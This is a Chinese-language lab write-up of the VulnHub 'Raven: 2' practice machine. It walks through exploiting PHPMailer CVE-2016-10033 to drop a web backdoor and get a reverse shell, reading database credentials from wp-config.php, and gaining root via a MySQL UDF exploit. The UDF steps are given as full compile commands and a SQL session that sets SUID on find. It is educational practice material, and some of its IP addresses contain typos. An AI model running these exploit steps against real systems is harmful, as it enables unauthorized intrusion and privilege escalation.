【VulnHub】Raven: 2靶机的渗透测试

总结和思考:

  1. 使用netdiscover探测内网存活主机
  2. PHPMailer的漏洞反弹得到shell
  3. Python版的EXP修改
  4. 查看wordpress的wp-config.php配置文件得到数据库账号密码
  5. MySQL版本 <= 7.14 5.6.32 5.5.51   可以利用UDF提权
  6. KALI对EXP的编译
  7. 给程序chmod u+s 增加suid权限,可以以root权限运行
  8. 利用带有suid标志的find命令进行命令执行拿到root shell

 

 

靶机下载地址:https://download.vulnhub.com/raven/Raven2.ova

 

 

Raven 2是一个中等难度的boot2root 虚拟靶机,在多次被攻破后,Raven Security采取了额外措施来增强他们的网络服务器安全以防止黑客入侵。

 

总共4个flag需要找出

 

 

先将靶机导入并开机

【VulnHub】Raven: 2靶机的渗透测试_第1张图片

 

利用netdiscover对eh0网卡进行探测

 

netdiscover -i eth0

 

【VulnHub】Raven: 2靶机的渗透测试_第2张图片

 

 

这里可以通过经验判断192.168.61.135就是靶机的IP地址。

 

nmap -A 192.168.61.135

 

【VulnHub】Raven: 2靶机的渗透测试_第3张图片

通过nmap的信息可以看出这个就是靶机的IP地址

 

通过上面的信息我们可以看到,靶机开放了22,80,111这3个端口。

 

我们先看80端口

 

【VulnHub】Raven: 2靶机的渗透测试_第4张图片

 

看到是一个网站,所以我们就先进行目录的爆破,这里我用gobuster

 

gobuster -u http://192.168.61.135 -w /usr/share/wordlists/dirb/common.txt

【VulnHub】Raven: 2靶机的渗透测试_第5张图片

 

这里先看下vendor

 

这个网站是存在目录遍历的

 

我打开http://192.168.61.135/vendor/PATH发现了第一个FLAG

除了FLAG还有网站的目录地址

/var/www/html/

 

 

把每个文件翻下,大概知道了服务器上安装这PHPMailer

 

【VulnHub】Raven: 2靶机的渗透测试_第6张图片

 

【VulnHub】Raven: 2靶机的渗透测试_第7张图片

 

我们通过kali的searchsploit来查找PHPMailer的漏洞

 

searchsploit phpmailer

 

【VulnHub】Raven: 2靶机的渗透测试_第8张图片

 

但是我们不知道靶机上的PHPMailer的版本是多少,但是VERSION提供的应该就是PHPMailer的版本号

 

这里我们选用

 

你可以通过

 

searchsploit -x exploits/php/webapps/40974.py

查看到EXP的内容

也可以用exploit-db.com进行搜索exp

https://www.exploit-db.com/exploits/40974

 

通过exploit-db的查询我们知道这个漏洞的编号为CVE-2016-10033

 

然后我们查下漏洞资料:https://www.anquanke.com/post/id/85295

 

这个漏洞是因为邮件地址能够包含用引号括起来的空格,这样可以进行攻击参数的注入

 

我们我们在网站主页上看到的邮件页面地址为:http://192.168.61.135//contact.php

接下来我们把EXP的内容进行下载编辑

 

修改内容如下:

1.开头加上

#!/usr/bin/python

# -*- coding: utf-8 -*-

【VulnHub】Raven: 2靶机的渗透测试_第9张图片

2. 

修改target地址为靶机的CONTACT页面地址:http://192.168.6135/contact.php

修改backdoor为’/sdfz.php’,默认的backdoor.php执行时无法生成(原因可能是如介绍说这个靶机多次被攻击增加了安全性,这类敏感字肯定会被ban)

3.

修改payload的内容

【VulnHub】Raven: 2靶机的渗透测试_第10张图片

4.

运行后出现如下错误,只要pip install requests-toolbelt即可

【VulnHub】Raven: 2靶机的渗透测试_第11张图片

5.

然后KALI nc监听下对应的端口

 

6.

然后我们访问下http://192.168.6135/contact.php,这样就会执行我们的payload在目录下面生成sdfz.php

7.

然后我们在访问下http://19168.61.135/sdfz.php

8.

这个时候我们就会得到反弹的shell

【VulnHub】Raven: 2靶机的渗透测试_第12张图片

 

我们用python来获取个pty

 

python -c 'import pty;pty.spawn("/bin/bash")'

 

 

 

然后我们搜索下关键字flag

 

find / -name "flag*"

 

 

发现2个flag

那么现在就剩最后一个FLAG了,应该就在root目录里面。

 

所以接下来就是提权

 

我第一反应是用脏牛进行提权

 

从https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

下载dirty.c在kali中进行编译

gcc -pthread dirty.c -o dirty -lcrypt

 

然后kali用python 的SimpleHTTPServer模块开启个HTTP服务

然后在靶机中用wget下载编译好的脏牛文件进行运行。

 

但是不管我怎么更名并下载脏牛,这个wget都卡在这

 

【VulnHub】Raven: 2靶机的渗透测试_第13张图片

 

脏牛就用不上了

 

我们上传个LinEnum.sh对LINUX进行信息收集,方便提权使用

项目地址:https://github.com/rebootuser/LinEnum

 


 

 

【VulnHub】Raven: 2靶机的渗透测试_第14张图片

 

然后加权运行

 

然后在运行结果中看到这条,mysql使用root运行的

 

漏洞信息:

https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

 

如果MySQL版本 <= 5.7.14,5.6.32,5.5.51

则有MySQL-Exploit-Remote-Root-Code-Execution-Privesc漏洞可以进行提权

 

 

我们回到网站根目录ls,可以看到有wordpress(wp)

【VulnHub】Raven: 2靶机的渗透测试_第15张图片

 

 

我们进去查看下wp的配置文件

【VulnHub】Raven: 2靶机的渗透测试_第16张图片

 

数据库账号:root

数据库密码:R@v3nSecurity

 

那么我们登录下mysql查看下mysql版本

 

【VulnHub】Raven: 2靶机的渗透测试_第17张图片

 

这里我们看到Mysql的版本是存在漏洞的

 

我们从https://www.exploit-db.com/exploits/1518获取EXP

 

然后我们在KALI上编译生成so文件

wget https://www.exploit-db.com/download/1518
mv 1518 raptor_udf.c
gcc -g -c raptor_udf.c
gcc -g -shared -o  raptor_udf.so raptor_udf.o -lc
mv raptor_udf.so sdfz_udf.so

 

 

然后同样在靶机上用wget下载sdfz_udf.so

 

cd /tmp

wget http://192.168.61.130:8000/sdfz_udf.so

 

 

然后我们进入数据库开始提权

mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> create table foo(line blob);
create table foo(line blob);
Query OK, 0 rows affected (0.06 sec)

mysql> insert into foo values(load_file('/tmp/sdfz_udf.so'));
insert into foo values(load_file('/tmp/sdfz_udf.so'));
Query OK, 1 row affected (0.00 sec)

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/sdfz_udf.so';
【其中dumpfile的路径要根据前面进程列出来的plugin目录进行改动】
select * from foo into dumpfile '/usr/lib/mysql/plugin/sdfz_udf.so';
Query OK, 1 row affected (0.04 sec)

mysql> create function do_system returns integer soname 'sdfz_udf.so';
create function do_system returns integer soname 'sdfz_udf.so';
Query OK, 0 rows affected (0.00 sec)

mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+-------------+----------+
| name      | ret | dl          | type     |
+-----------+-----+-------------+----------+
| do_system |   2 | sdfz_udf.so | function |
+-----------+-----+-------------+----------+
1 row in set (0.00 sec)

mysql> select do_system('chmod u+s /usr/bin/find');
【chmod u+s 表示给某个程序的所有者以suid权限,可以像root用户一样操作】
select do_system('chmod u+s /usr/bin/find');
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.00 sec)

mysql> exit
exit
Bye

看下我们当前的权限

 

然后用find执行命令提权成功

【VulnHub】Raven: 2靶机的渗透测试_第18张图片

 

得到flag4

【VulnHub】Raven: 2靶机的渗透测试_第19张图片

你可能感兴趣的:(CTF以及各类靶机,VULHUB靶场题解集合)